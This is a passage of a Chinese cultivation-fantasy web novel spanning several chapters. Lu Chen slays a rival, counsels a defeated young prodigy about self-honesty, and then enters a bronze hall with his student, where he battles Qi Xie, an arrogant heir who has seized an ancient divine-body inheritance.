嘹亮而又清脆的凤鸣之声响起,而後便有一只赤火凤凰冲天而起,直冲之九天之上,以举火燎天之势俯冲而下,犹如天谴降临一般。
楚星宇看着那自九天而落向自己袭来的赤火凤凰,似乎已经坦然的接受了自己死期。
但他并未有任何恐惧,反而癫狂而笑。
“陆尘啊陆尘,你现在是不是很得意,但你不知道,你一直在那位大人的……网……中……永世……不得挣脱……你比我……更可悲……”
火凤穿膛而过,一瞬焚灭一切。
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第九十一章 此心不诚
赤红色火焰焚烧着的炼狱间,世俗的一切都好似要荡然无存。
楚星宇神魂俱灭,於赤焰之中消散殆尽。
陆尘并未有什麽大仇得报的快感,心中百感交集,一时间神色复杂。
他知道,若是许端看到这一幕,恐怕也不会开心的。
昔年说好要同生共死的五人,一路上颠沛流离好多年也还是活下来了,最终死在的,还是自己人手里。
确实是可悲又可叹。
而楚星宇最後那大笑着嘶吼的话语,陆尘也是提不起心思去多想。
他知晓自己如今所见者不过冰山一角,若真有人以这天下为局,那自己即便是棋子又如何。
终有一日会成棋手的。
而在那之前,又何须多想,不过是一步一行而已。
大道就在脚下,走便是了。
火焰逐渐消散,眼前的荒漠也再变作天外天的模样。
陆尘独立云头,青衫依旧,丝毫没有什麽历经一场大战感觉。
他如今太阴境二转,若是再将指点洛九所给予的三百年修为消化后,已然是能到达太阴境三转的地步。
在百朝战场之中,陆尘的境界突飞猛进,哪怕有那麒麟玉影分去大半灵气,陆尘亦是并未受太多限制。
楚星宇以其长剑饮过神游境强者之血为豪,却没想到陆尘如今境界,杀神游境强者如杀鸡子。
其手握两道一品剑道真意,杀伐之术已非常人所能抗衡,再加之神通加身,楚星宇丝毫没有抵抗之力,一瞬间便是形式转变,原以为陆尘是待宰羔羊,却没想自己先成了这羔羊。
陆尘长袖一拂,而後身影如流星直坠山谷之间。
山谷之中,两位少年至尊已经拼杀的再无保留,各般手段尽皆亮出,没有一人有丝毫的留手。
一人雷光萦绕,背生双翅,犹如雷神降世,一人混沌气环身,双拳刚猛无比,每一挥出,便好似要震碎天地一般。
二人身影皆是以极快的速度向对方猛冲而去,所有人皆是知晓,这便是二人宣泄全力的交锋,胜负在此一举。
只见得万千雷光之中,段凌云全身灵气凝聚於拳上,带着无与伦比的气息猛的砸下,一拳而落,柳诚身上的雷光尽是尽数消散,而後整个人被这一拳狠狠砸中,如同山岳压来一般,倒飞而出,猛的砸在山谷崖壁之上。
这一拳拳力之强劲,不仅将其护体灵气尽数崩碎,连带着肉身亦是被砸的稀烂,五脏六腑好似要炸裂开来一般。
若不是有护心镜在胸前卸了分力,恐怕这一拳下去,直接便要肉身崩碎。
浩荡灵气消散,段凌云擦了擦嘴角鲜血,其长发飞舞,眸子通红,瘦弱的身躯上散发着一股无匹的威压之气,犹如是古之大妖一般,令人不敢靠近。
所有人都没想到会是这般的结果,他们愿为这会是柳诚的险胜又或者是段凌云的惨胜,但如今看来,段凌云虽是受了不小的伤,但可说不得是什麽惨胜的地步,哪怕让柳诚再战一场,那也只会是落得个落败的狼狈下场。
“好强,不愧是荒古神体,难怪在古史中多有记载,今日一见果真名不虚传。”
“柳诚这般顶尖皇朝的天骄也不是他的对手吗……太恐怖了。”
“要我说,所谓顶尖皇朝的天骄也不过如此吧,被人打成这副模样,倒是令人耻笑。”
周遭的天骄们见得这场大战落幕,当下都是唏嘘不已,议论纷纷。
“这还不是最恐怖的,你们注意到那位青衫男子已经从天外天回来了吗?”
“我刚刚便发现了,他回来的甚至要比柳诚二人结束的还要早。”
“那背剑男子就这麽死了?这也太可怕了。”
有不少人注意到陆尘已经悄然出现在山谷之中,当下皆是无比震惊。
要知晓那背剑男子的气息在场天骄都是领会过得,极为恐怖,绝不是泛泛之辈。
而陆尘不仅极快的回到山谷之中,而且那青衫一尘不染,全然不似什麽历经一场大战的那般。
“果然是圣地之人,实力如此恐怖。”
“圣地亘古长存,哪怕大帝出世也不可磨灭,自然有其底蕴。”
“这般看来,柳诚输给圣地之人的亲传弟子,倒也输的不冤。”
在场的天骄已经自然而然的将陆尘看做是圣地中人隐居在外,毕竟他们无论如何也不肯相信,一个小小的王朝之中,会有这般人物。
柳诚躺在血泊之中,听着耳边这些嘈杂之音,嘴角竟是不自觉提起一抹惨淡笑意。
他手背遮双眼,令人看不见他眼神神色。
柳诚也没有想到,自己会是这般的惨败。
自打其出世以来,一直有个完人之称,无论身世,天姿,行止,皆没有半点可为人诟病的地方,堪称完人。
可今日在此,先是自己以势压人遭反压,行止上已然遭人诟病,再者境界高上一境与人交手却落败,天姿上又更差了一筹。
这是他此生绝无仅有,唯此一次的失败。
“如何,还觉得是我这学生抢了你的造化吗?”
陆尘半蹲在柳诚身前问道。
柳诚并不言语,泪不自觉的在眼
角流下。
他从未像今天这般狼狈,在血泊之中遭群雄围观。
柳诚向来是个完美主义者,从其那赤龙袍上便可看出,纤尘不染,与其顶尖皇朝天骄的身份极为契合,寻常人一看便知晓他不是什麽普通人物。
像如今这般狼狈遭人围观,柳诚倒觉得还不如一拳给自己打死了要好。
陆尘眸子之中水雾浮现,武道天眼之下,柳诚的生平尽数浮现。
【姓名:柳诚】
【年龄:一十九】
【境界:上阳境一重】
【命格:紫色——一方至尊】
【生平:出身顶尖皇朝千年仙门的天之骄子,百朝大战前一帆风顺,被皇朝中人成为“完人”丶“贵公子”,无论是天姿亦或是行止,全无半点受人诟病之处。
柳诚自幼心思深沉,知晓要如何才能在世人眼中被尊崇,故而其行为举止皆以此为度,并不由心,遂赢得完人丶贵公子之称。
其受皇朝之人敬仰,看似修行顺风顺水,但实则心中早已有一处枷锁,始终难以挣脱。
后在百朝大战之中遭同辈天骄逆行伐上,道心崩碎,原本纤尘不染的完人贵公子堕入泥潭之中,一蹶不振。
多年後遇一行乞者,身处泥潭,心却若天高,得悟,自此如潜龙离渊,一飞冲天,自此後,一路破境,终成至尊。】
【近期遭遇:遭同辈天骄逆行伐上,道心破碎。】
武道天眼之中,柳诚的生平尽数入陆尘眼中。
柳诚不诚。
此不诚并非对他人不诚,而是对此心不诚,自己给自己上了层枷锁。
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犹如作茧自缚,不得挣脱。
“如何,觉得大家都在看着你,很丢人?”
陆尘眼中水雾散去,又在柳诚身旁说道。
柳诚依旧一言不发,只是用手臂遮着眼角,令流泪之像不被他人察觉到。
其实他并未察觉到,并未有什麽人在看他的笑话,在场的天骄意识到此雷池无望后,已经不再在场中停留,三三两两的各自散去。
可在柳诚心中,却还是觉得有千百个人都将目光投向自己一般,这些目光如剑,其锋利迫人的程度,远要胜过段凌云砸落下来的那拳头。
“人外有人,天外有天,这是个再简单不过的道理了,你想必自己也清楚,有落败很正常,哪怕是古之大帝,未尝一败者亦是少数。”
陆尘有时候觉得自己前世应该去考个心理谘询证好了,总要去灌输这些被世人说了千遍百遍的道理。
可这些道理,有些时候,当局者迷旁观者清,确实也该有人要给他们点出来。
能走到内圈的参赛者,没有一人是什麽平庸之辈,要麽是心性坚韧远超常人,要麽则是家世天姿世所罕见,总之皆不是什麽平庸愚笨之人。
对於他们而言,唯一的缺点可能便是所受挫折实属过少,里间的每一人在其国中皆是当之无愧的天之骄子,受众人簇拥钦佩,而入到在百朝战场之中,难免会心态有所波折。
而这般波折,对有的人来说可能是些许风霜,而对像柳诚这般人来说,却可能是滔天巨浪,难以挣扎而出。
“先生不必说这些大道理,柳诚知晓。”
直到这时,柳诚才开口而言,声音沙哑
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“那我便不多说些什麽,你不妨自己睁开眼看看。”
陆尘又道。
听到这话,柳诚有些迟疑的将遮在眼角的手臂挪开,而後稍仰起头向四处张望。
只见得山谷空落落的,只剩下自己与陆尘段凌云等三人,不仅是在场众人,连前来相救的那三位至尊少年亦是离开,再没有多馀人。
他双目失神,一时间心中空落落的。
原以为有千百道如剑一般的目光落在自己身上,可当自己睁开眼时,才发觉什麽也没有。
“在场中人谁人不是天之骄子,亦是知晓这天底下,又有哪个敢称无敌,哪个敢言不败,输了很正常,哪怕你是什麽顶尖皇朝的天骄。”
陆尘又接着说道。
“难道觉得自己出身顶尖皇朝输给王朝之人便是什麽值得寻生寻死之事吗?这是万万不值当的。”
“若真是如此,这百朝大战还有什麽意义,倒不如直接按照你们的出身让圣地去挑人得了。”
陆尘又接着说道。
“受教了,柳诚谨记先生教诲。”
柳诚低头沉思良久,而後抬起头,倚身靠在山壁旁,向陆尘谢道。
“不,你不是受教了,只是想给我留个虚心受教的好印象罢了。”
陆尘嘴角勾起一抹略显讥讽的笑意说道。
柳诚呆愣在原地,如遭雷击。
他紧盯着陆尘,想从陆尘的瞳孔之中看出些什麽,可陆尘的眸子好似古井一般,波澜不惊,什麽也看不出来。
“我说的可有问题?”
陆尘轻笑着问道。
“你一向擅长揣摩他人心意,知晓要如何做,方可给别人留下一个好印象
,以此来保住你那完人贵公子的称呼。”
“一来二去多了,这便成了个习惯,所行何事,都需先揣摩仔细再去做,都会去顾忌场中之人的所念所想,而你自己心中到底是如何想的,恐怕早便忘了吧。”
陆尘接着这般说道,每一句话都像是刀子一般的扎进柳诚心中。
“柳诚柳诚,你不妨扪心自问,可曾心诚,非对他人,而是对你自己。”
陆尘又道。
柳诚头疼欲裂,只觉得像是有千百只夏蝉在自己脑海之中不断嗡鸣一般。
“骗别人可以,不要骗自己。”
“现在你告诉我,到底是什麽想法。”
陆尘接着问道。
“不知道,我不知道。”
柳诚五指弯曲成爪,抓着自己的散批长发,他满面泪痕,再无半分先前那受教顿悟了的神情。
他放声痛哭起来,面色痛苦。
“很好,这便很好了,无论你知道或者不知道,总归是你心所言,而非你度他人之念所言。”
陆尘看着那痛哭流涕的少年,轻声而语。
月色之下,血泊之上,少年倒在其中放身痛苦良久。
陆尘并未再有任何别的言语。
点到为止,说的多了,反而是适得其反。
良久后,柳诚终於静了下来,他神色疲惫,但双目却隐隐间有丝丝许许的光亮。
他挣扎着起身,身影摇摇晃晃的,却给人一种坚定之感。
柳诚恭敬向陆尘行礼,虽未说些什麽大恩不敢忘之类的话,但陆尘却是知晓,此时的少年方才是真正受教。
而在此时,系统的机械之声亦是在陆尘的耳边响起。
【夫子之责行使完毕】
【宿主将获得以下回馈奖励】
【一品雷道真意:十方俱灭】
此番给予的奖励并不多,只有一道一品真意,但体会过一品真意到底有多麽恐怖的陆尘,自然知晓这一道一品雷道真意多麽难得,并不会逊色於他物。
哪怕仅有这一道奖励,也确实担得这紫色命格的指导奖励。
柳诚在原地吃过几枚丹药后,便向陆尘二人告退离去。
月色之下,山谷空空荡荡,与先前喧闹之所实属两幅天地。
“终於走光了。”
段凌云长呼一口气道。
“怎麽了吗?”
陆尘问道。
“夫子有所不知,此处别有洞天。”
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第九十二章 青铜门
在场众人皆是散去后,段凌云才面色有些激动的这般说道。
陆尘轻咦了一声,目光望向那处雷池。
此番雷池属实是世所罕见之物,无论㣉其中䭾是否曾修习雷道,只要能扛过那天雷摧残,皆是有一场大机缘在其中。
而段凌云历经此番雷劫之後,更是脱胎换骨,在武道天眼的观测之下,其紫气已是越发淡薄,待得百朝大战结束之後,必定是能真正的蜕变为金色气运。
只见得少年转过身去,小跑到那雷池之旁,一跃而下,身影便隐没在雷池之中。
陆尘脚步轻点,亦是跳㣉那浩瀚雷霆之力蓄满的池子之中。
雷霆之力不断袭向陆尘肉身,只是这般攻势,对於陆尘而言已然是微不足道,并未有丝毫的影响。
二人闭气,不断向池子的底部游去,池子的深度陆尘想象的还要深的多,犹如是深不见底的深渊一般。
越往下游,那雷霆之力便是越发狂暴,隐隐间,陆尘周身竟不自觉的有雷光涌动,似乎与他的大道真意相共鸣。
段凌云回头见陆尘这般,眼中又涌现敬佩之意,以为是夫子在此悟道。
虽说这般悟道之像极为惊人,但发生在陆尘身上,段凌云倒并不觉得有任何奇怪,只是越加的钦佩不已。
二人往下游了一段不小的时间,待得雷霆之力压得段凌云肉身之上满是伤痕时,二人才见着池子底部有一扇青铜大门紧闭,雷霆之力亦不能侵之分毫。
陆尘眸子微眯,长袖轻拂,便有一股灵气灌㣉段凌云体内,使之可以安然落在池子底部。
二人立於青铜门前,一瞬之间,便恍若置身荒古。
“青铜……”
陆尘眸子微眯,总觉得这气息十分熟悉,好似在哪见过一般。
“对了,青铜棺也是这般气息。”
他略微低头,在井中小世界之中,镇压苏月仙的青铜棺,也是这般气息,古老而又神秘,好似令人置身荒古之间。
“夫子,我觉得这气息有些熟悉……”
段凌云忽地开口说道。
陆尘点了点头。
“与荒古神体的气息确实有些相似,里间之物怕是幽远至极。”
陆尘手掌放在那青铜门上,一瞬之间,只见天地变幻,有万千大妖奔腾,遮天蔽日,荒莽无匹。
苍莽大地之上,黑压压密密麻麻的人族好似蝼蚁一般,有大妖掠过,便尽皆死尽。
陆尘皱了皱眉,心神一凝,便又退出幻境之中。
这青铜门展示的恐怕并非什麽幻境,而是光阴长河之上真正的一个断面。
在那古远的荒古年间,大妖以人为食,人族尽皆蝼蚁,如同被豢养家畜一般。
在很久之後,才终有人族帝䭾出世,逐妖族於四海之外,自此後,方在来到人族昌盛之世,遍及五域四海。
“若这青铜门真是那段光阴所矗立之物,那来头恐怕还真不小。”
陆尘自顾自呢喃而语。
“凌云,你试试将精血滴㣉这青铜门之上。”
他回头看向段凌云说道。
段凌云是纯粹的荒古神体,其精血自然也要更为浓郁纯粹。
少年点头,没有丝毫的犹豫。
他对於陆尘是百分之百的信任,并没有任何理由。
哪怕陆尘跟他说自己砍自己一刀,段凌云也会觉得这是夫子在为自己好。
只见少年指尖渗出鲜血,一指点出,渗在那青铜门之上。
带着荒古之气的鲜血顺着青铜门上的繁杂纹路蔓延开来,好似是一条小蛇一般。
只见的红光涌现,越放越盛,紧接着便是一股浩瀚至极的荒古气息自门内宣泄而出,令得池子之中的雷霆之力紧接消散。
陆尘站在段凌云身前,混沌之气缭绕,将这滔天气息遮挡下来。
此番气息着实恐怖,远非段凌云这般境界所能承受。
良久之後,这红光才尽数消散,青铜门大开,陆尘向里间望去,只觉得犹如深渊一般,黯淡无光,一眼望不到尽头。
陆尘转身看向段凌云,眸子雾气浮现。
【姓名:段凌云】
【命格:金色】
【近期遭遇:入雷池底部,见别有
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洞天,几近身死,得大成神体真传】
“夫子?”
见陆尘有些出神,段凌云小声出言问道。
“无妨,随我来。”
陆尘笑了笑,带着段凌云迈入那青铜门之中。
当青铜门大开之时,段凌云的命格已然发生了蜕变,成为真正的金色命格,为帝路争锋之命。
至於近期遭遇给出的几近身死之状,陆尘倒并未过多在意,毕竟大成神体这般大机缘,又怎麽可能安然受之,非经历生死,又怎得领悟其中真意。
阴冷的气息扑面而来,带着一股腐朽而又幽远的味道,彷佛是岁月沉淀下来的绝望。
段凌云的呼吸逐渐沉重,在这静谧的空间里显得格外清晰,每一次呼吸都像是在挑战着昏黑世界
的威严。
陆尘并未再给段凌云灌输什麽灵气,有些路,总归是要自己方才知道到底是如何。
门内的世界一片昏黑,没有半点光亮能够照射进来。
前路一片漆黑,不知何时是尽头。
二人只能是凭藉着感知不断向前,抵抗着深黑所带来的那般无形的压迫之感。
走了良久之後,陆尘转过头去,少年依旧步履坚定,全然没有半分犹豫。
“你不怕吗?”
陆尘问道。
此番地界气息迫人,加之暗无天日,哪怕是修士陷入其中,道心亦是会不自觉的有所动摇,觉得自己可能要永生堕入於这黑暗的囚笼之中。
而少年却全然无别般心绪,一步一步的往前走着,未有分毫停步。
“夫子在前,哪怕帝者拦路,凌云也丝毫不怕。”
少年坦诚而言,嘴角挂着笑意,就好似脚下之路是条风光霁月的大道,而非是看不见尽头的昏黑之路。
“倒是和林炎待久了,说话都不着调了。”
陆尘哈哈大笑起来说道。
少年亦是跟着笑。
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第九十三章 神体
长路漫漫,直到陆尘有些乏困之时,才终於见着了亮光。
只见脚下的路忽地断了,好似有一道难以逾越的天堑摆在眼前一般。
陆尘往下而视,好似凝视深渊。
他随手丢了枚石子,以灵力使其漂浮,但那石子却不受控制的直坠而下,跌落那深渊之中,听不得半点回响。
路成了断崖,而断崖对岸之处,有一座悬浮着的青铜殿堂,云雾缭绕其间,古老而又缥缈。
青铜状的的台阶自那青铜殿堂前延伸而下,好似天梯一般延展到陆尘二人面前。
台阶之下是那深不见底的深渊,其引力之强,似乎要将世界的一切尽数吞噬殆尽。
陆尘并未着急踏上那台阶之上,而是在断路之前盘腿静坐下来。
他能感受到这青铜殿堂并不简单,哪怕按照武道天眼观测而言,并不会真有生死危机,但陆尘依旧想要将自己的实力提升到极点之时,再踏上这道台阶。
段凌云见陆尘这般,当下亦是盘腿静坐,闭目冥想。
他历经雷劫所获极大,却因为众天骄的堵截还未有好好的感悟过。
青铜台阶前,陆尘盘腿静坐,双眸紧闭,其心海之中的太阴境修为不断的向周天灵脉涌出,令心海之中悬浮的那滴太阴之水越发纯净空灵。
冥冥之中,陆尘只觉得自己置身於一片广阔天地之中。
他独立山头,俯瞰群山。
狂风呼啸着掠过陆尘的身旁,却无法扰乱他那静如水的心境。
陆尘微微闭着双眼,将自己的感知无限地延伸出去。
只见脚下的山峰被一层薄薄的云雾缭绕着,缥缈若仙。
此间云雾时而聚集成团,时而飘散开来,变幻莫测,而极远处的山峦皆是连绵起伏,在落日霞光映照下,轮廓显得格外清晰,彷佛是苍茫大地的脊梁。
陆尘的全番心神皆沉浸之中,与周遭的一切融为一体。
哪怕是闭着眼,陆尘也能清晰地感受到身边每一粒尘埃的跳动。
天地万物,尽在一念之间。
其身独立於山头,其魂游历於万川,不受丝毫拘束。
此之谓,神游。
良久后,陆尘睁开眼。
千年修为加身,自太阴境二转直冲而上,已至神游之境。
神游一念,天地尽在掌中。
此番与天地交融之感,远非是前几境所能比拟的。
“难怪古人有云,入神游者,方得逍遥,如今一见,果真如此。”
陆尘自顾自呢喃而语。
他缓缓站起身,迈向那青铜台阶之上。
好似有什麽并非尘世的伟力在遏制陆尘一般,令其只能一步一阶而上。
段凌云跟在陆尘身後,因有陆尘灵气相护,方才能安然踏步。
天阶共计九十九道,陆尘也便迈了九十九步。
待得终於到了那顶上台阶之时,青铜殿堂的大门便是自行打开,好似是有意在恭迎二人一般。
二人踏入大殿之中,只见得有一人枯坐於神像之下,莲花台上。
神像不威自怒,隐隐间有一股令人难以抵抗的压迫之感。
而神像之下的那人瘦若枯骨,身上也并未有任何气息威压,像是一具枯坐万年的骷髅一般。
陆尘神念外放,亦没能在那人身上发现任何的气息存在。
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这只能说明一个问题,此人的境界高到了极点,远非是自己所能企及。
毕竟能在这青铜殿堂里间枯坐之人,陆尘可不觉得会是什麽没有修为气息的普通人。
他上前而去,走到那人身前。
只见得那衣衫之下,已是一副白骨,已然坐化万年。
“死了……”
陆尘皱了皱眉,照武道天眼所窥探,此间应有大成神体的传承才对,但眼前枯骨生前虽也是境界不低,但显然并非是身负荒古神体之人。
神体肉身之横练,哪怕千万年也不会化作什麽白骨。
“你们是在找这个?”
就在大殿之中一片寂静之时,只见得有一只手突兀的出现在神像的顶部,紧接着便有一人爬到了神像之上,晃荡着腿,手中有一团飘忽着的红光,凝聚交融为球状。
陆尘眸子微眯,从那血红色的圆球之中感受到一股极为磅礴的荒古之气。
出声的是个红发少年,五官好似刀刻,嘴角挂
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着抹浅浅笑意。
“此处为荒古那位大成神体坐化之地,古往今来,不知道多少身负神体血脉之人想要寻到此处,结果先到的却是个凡体之人,其妄图燃指神体精血,故而哪怕一身修为通天彻地,亦是化作了一具白骨,在此故作万年。”
红发少年自顾自的言语,似乎并不太在意陆尘二人的突然出现。
“现在呢,它是我的了。”
红发少年炫耀似得将那红色光团托起,眸子里亮出精光。
还未待陆尘说些什麽,他又上下的打量起陆尘来。
“你不是天渊中人,为何有天渊之物?”
他眸子眯起,没来由的这麽一说。
陆尘对於少年此话并未有
什麽惊叹之言,在其那水雾弥漫的眸子之下,少年的命格已经由金色直转而下。
金,紫,蓝,黄,白,红。
黑,将死之人。
瞬转之间,在武道天眼的窥探之下,眼前的少年已经由帝路争锋的天命骄子变作了个将死之人。
“天渊久未出世,都说外界已经许久没有听说过天渊的名号了,如今看来,果真如此啊,竟然还有人敢杀天渊之人夺天渊之物,有意思,有意思。”
少年拍掌大笑起来,像是遇到了一件十分好玩的事一般。
“确实有意思,我也没想到,在此处又能碰到什麽天渊之人。”
陆尘亦是轻轻而笑。
在看过少年的生平之後,他心底里的杀意已经丝毫没有遮掩的显露而出。
“可能你不知道,我即是你之死劫。”
陆尘顿了顿又说道。
少年当即又是捧腹大笑起来。
“外界之人虽是愚笨了些,但说起笑话来,倒属实好笑。”
他从神像之上一跃而下,猛的把那一团红光吞㣉体内。
只见浩瀚磅礴的气息自少年身体之内迸发而出,带着无与伦比的威压笼罩着整片青铜殿堂。
“荒古神体……”
段凌云瞳孔微缩,从他人身上看到自己身负的体质,属实是种十分奇妙的体验。
当然他并不担心。
有夫子,万事皆安。
第九十四章 争锋
陆尘眸子中水雾浮现,只见黑气在少年头顶之上盘旋,挥之不去。
将死之人。
【姓名:齐邪】
【年龄:二十六岁】
【境界:神游三重】
【命格:黑色——将死之人】
【生平:天渊四家,齐家之人,出身尊贵,其天生神体,自幼修行古法,横压一辈天骄,心念宋家神女,不得,后出世,因一念不悦而覆灭诸多千年仙门,不以为然,携天渊之威入百朝战场之中,寻找大成神体遗留之传承,於青铜殿中得之,遇闯入者,二人相战,此生第一次落败,就此身死道消。】
【近期遭遇:寻到古往今来鲜有人踏足的青铜殿,得大成神体遗藏。】
看着眼前青年的生平,陆尘不免觉得有些好笑。
天渊之人视万民如草芥,他早就领教过了,没想到随便遇上一个,也是这般,可想而知其间风气如何,恐怕早已不把外界生灵当做人看了。
陆尘眸子里杀意未有丝毫遮掩,当下长袖一挥,便是将那浩荡灵气威压给驱散。
见到这一幕,齐邪略微有些吃惊,脸上露出一抹饶有兴趣得笑意,就好像是看着蝼蚁在自己的脚下挣扎一般。
“不错,外界蝼蚁能到这地步,属实不错。”
他嘀嘀咕咕的说道。
“你们天渊人的脑子,属实是被猪拱的。”
陆尘呵呵一笑,手中已有一柄血红色的长剑凝聚。
此番陆尘并未用灵气凝剑,毕竟对方身负神体,加之又吞噬了大成神体本源,自然不是一道虚空的剑意就能伤着的。
此剑名为血煞,剑身通红,好似染血一般,还是陆尘第一次使之对敌。
见到那柄长剑,齐邪的笑意稍稍收敛了些许,他能从其上感受到一股极为凶煞的气息,这气息并不令他畏惧,反而是令其越发兴奋。
齐邪歪了歪脑袋,而後大手一挥,便有一柄通体深黑之色的战戟出现在其手中。
他的身躯并不精壮,可就那麽站立着,便宛如一座雄浑壮阔丶坚不可摧的太古神山,令人生不出半点逾越的念头。
不知何时,齐邪已经身披上一件闪耀着神秘符文的玄色战甲,那战甲仿若由星辰精华凝练而成,每一道符文都似蕴含着大道本源的深邃奥秘。
荒古神体那浩瀚的力量在他体内如汹涌澎湃的汪洋般奔腾不息,远非段凌云所能相比。
段凌云在一旁亦是有些惊叹,若与之相比,自己那荒古气息只能算是小溪一般,根本就不值一提。
齐邪双手紧握着那杆由远古神秘金属锻造的战戟,战戟之上,古老而繁复的纹路彷佛在默默诉说着无尽岁月的沧桑和累累杀伐的传奇。
战戟的戟尖闪烁着令人胆寒的冷冽寒光,好似能洞穿世间一切虚妄。
陆尘眸子微眯,那柄战戟的品轶极高,恐怕已经到了天阶上品灵器的地步。
再进一步,那可便是道君方可炼制的大道真器了。
二人当下不再多口舌之争,皆是凝神屏气,将浑身灵气调动。
只见得齐邪微微下蹲,双腿如扎根大地的擎天巨柱般稳固,随後猛地一蹬地面,大地瞬间崩裂出无数如蛛网般蔓延的裂痕。
他的身形如同一道划破黑暗的璀璨流星,带着一股毁天灭地的磅礴气势激射而出。
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在冲锋的过程中,他将战戟高高扬起,彷佛要将整个苍穹都一并刺穿。
在近对手之际,他口中发出一声如雷霆咆哮般的怒吼,那声音似龙吟虎啸,又似万兽齐鸣,在整片青铜殿堂之中响彻。
其手中的战戟好似带着开天辟地般的无俦力量狠狠地砸落下来,那股力量彷佛能将整个世界都瞬间粉碎,所过之处,空间都剧烈扭曲颤抖,彷佛承受不住这股惊世骇俗的力量。
若不是青铜殿堂之中,单这一击,恐怕便要引得山河变色,神州陆沉。
至尊年少时之神勇,恐怕也不过如此。
在那般滔天威势之下,陆沉并未丝毫的色变,他的眸子安静的好似是古井一般,掀不起半分波澜。
面对那如狂风暴雨般袭来的攻势,陆沉脚尖轻点地面,身体如同一片轻羽一般飘然向後而去,此番动作行云流水,彷佛与天地间的韵律完美契合。
在避开那致命一击的瞬间,陆沉手腕轻轻一抖,手中血剑便猛的划过一
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道剑气,剑气激荡而出,浩瀚无比。
一剑破万法!
只见得那般剑气之下,齐邪根本没有半分闪避之机,只能是将战戟横起,硬生生的扛下了这一剑。
一剑之威,已然是逼得齐邪连连退步,直至神像之下。
直到这时,他才认真的打量起陆尘来,似乎是想从陆尘身上看出些什麽。
“很好。”
他看着陆尘说道。
陆尘并不言语,眸子闭起,再睁眼时,又是一剑挥出。
剑气长!
剑气如蜿蜒千里的群山一般,一眼望不到尽头。
齐邪奋力挥出一戟,战戟之上附着着耀眼光芒,好似是要劈开天地一般。
在这一戟之下,那剑气硬生生的被劈散开来,好似要烟消云散。
只是还未有瞬息的停滞,那散开的剑气便依旧是带着无匹的气势斩在齐邪身上,硬生生的令那号称金身不灭的荒古神体之上留下剑痕。
此即为剑气长,连绵不绝,誓不罢休。
似乎是片刻之间的交手接连吃亏,齐邪眸子里不自觉的便燃起一股怒火,要知晓其自出世之後未尝一败,向来都是他逆行乏上,以低境界胜高境界之人,哪里有境界比他人高时反而还吃亏了的情况。
当下齐邪暴喝一声,只见他眼神一凝,口中念念有词,紧接着,浩瀚磅礴的荒古气息便从他体内汹涌而出。
忽然间,红发青年猛的将战戟插入地面,一瞬之间,周遭地面便剧烈颤抖起来。
以那杆黑金色的战戟为圆心,一道道如蜘蛛网般的裂痕迅速向四周蔓延,裂痕中隐隐闪烁着荒芜而又古老的气息,令人为之震撼。
在那圆心中心的裂痕之处,刹那间喷涌出无数道炽热无比的火焰,如同世间最为凶悍娇纵的红龙一般,张牙舞爪的猛的扑向陆尘。
这些赤焰温度极高,所过之处,空气都被灼烧得扭曲变形。
陆尘立於原地,一动不动的,好似来不及避让一般。
段凌云瞳孔微缩,不自觉的想要冲上去挡下这一击。
但他按捺下自己这份冲动,自觉的避让开这浩瀚攻势。
夫子如何做,总归是有他的道理的。
第九十五章 术法尽出
滔天的火焰将整片青铜殿堂尽皆淹没,这是一道极为恐怖的武技,其威势之大,足以令天地变色,在某些方面而言,已经快要接近神通之术了。
“蝼蚁。”
齐邪擦了擦嘴角鲜血,有些讥讽的这般说道。
只是还未等他多说些什麽,笑意便又是在脸上凝滞,只见得一道青衫身影安然从火光之中走出,分毫未损,就好似是从未受到过任何烈焰侵蚀一般。
陆尘的眼神如同古井一般,透露出一种深邃的冷静和决然,彷佛世间万物都无法撼动他的意志。
只见他双手结印,周围的灵气便彷佛都被一股天道法则所牵引着,猛的在其掌心之处汇聚。
青铜殿堂之上,忽地有乌云密布,雷声滚滚。
一道道闪电在乌云中穿梭,彷佛在孕育着一场毁天灭地的风暴。
随着陆尘手印的不断变化,一道巨大如蟒蛇般粗壮的落雷便从天而降,猛的劈向那身负战甲的齐邪。
落雷犹如一条愤怒的雷龙,带着无与伦比的磅礴力量,齐邪只感觉一股天道浩渺的气息袭来,饶是以他也生出了些许惊惧之色。
只见得落雷落下,齐邪的身体彷佛被一股无形的巨力拉扯着,重重地摔向地面。
他身上的战甲在这股力量的冲击下,出现了无数道裂痕,鲜血从齐邪的口中喷涌而出,一瞬间便将战甲染的鲜红。
齐邪强忍着身体的剧痛站起身来。
他的眸子里杀意毕露,不再有丝毫的遮掩。
只见得他暴喝一声,混沌之气便是绕体而出,磅礴无比,好似天地压人。
“玩够了吧。”
他紧盯着陆尘,嘴角已经没有了半丝笑意,到了这一地步,哪怕是自己胜了,齐邪也只会觉得是耻辱。
与低境界之人交手甚至到了动用混沌气的地步,对於其而言,属实有些难以接受。
“够什麽了?”
陆尘微眯眸子问道。
他长袖一拂,混沌之气亦是宣泄而出,比之那齐邪周遭混沌之气,更是不差分毫。
“蝼蚁,安敢猖獗!”
见陆尘这副满不在意的模样,齐邪更是怒火中烧,只听得其大喝一声,便猛的再度冲向陆尘。
战戟在他手中挥舞,每一戟皆好似龙舞一般,都带起一阵狂风,万分骇人。
此亦是一道天阶武技,威势惊人。
陆尘巍然不惧,眸子里红光一闪,便令得那齐邪身影停滞下来,虽然仅仅只有瞬息之间,但哪怕是这瞬息,亦是给了陆尘极大的空子。
只见得陆尘双手结印,随着手印变幻,便有一道极为清脆凤鸣之声响起,只见得赤火凤凰自九天而落,猛的直坠而下,袭向那困在瞳术之中的齐邪。
待得齐邪回过神时,那赤火凤凰已然穿膛而过,一瞬间便将其如薄纸一般击飞,猛的砸落在那巨大的神像之上。
只是神像巍然不动,只有齐邪自己又狼狈跌落在地,战甲尽数崩碎。
“荒古神体倒还真是耐揍。”
陆尘看着那倒在血泊之中的青年,自顾自的嘀咕道。
他倒并非是在讥讽这齐邪,而是由衷这般感慨,要知晓三道一品真意再加之小神通之术,这才彻底将那战甲打烂,使之肉身受伤,这般肉身横练之度,饶是以真血大妖也不过如此。
齐邪摇摇晃晃的站起身来,嘴角勾起狰狞笑意。
“很好,从我出生以来,你还是第一个能在同境伤到我之人,所以,我会给你个体面的死法。”
他紧盯着陆尘,眼中的杀意已然浓郁到没有半分遮掩的地步。
“别给自己脸上贴光了,高我两个小境界也叫同境一战?倘若真是同境一战,你此时已经是具尸体了。”
陆尘丝毫不给面子的说道。
齐邪紧咬着牙,不再言语。
他双手再次紧紧握住那杆由远古神秘金属锻造的战戟。
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战戟之上,古老而繁复的纹路在这一刻微微闪烁着光芒,好似与之共鸣。
只见得他面色平静下来,感受着那战戟之中传来的磅礴气息。
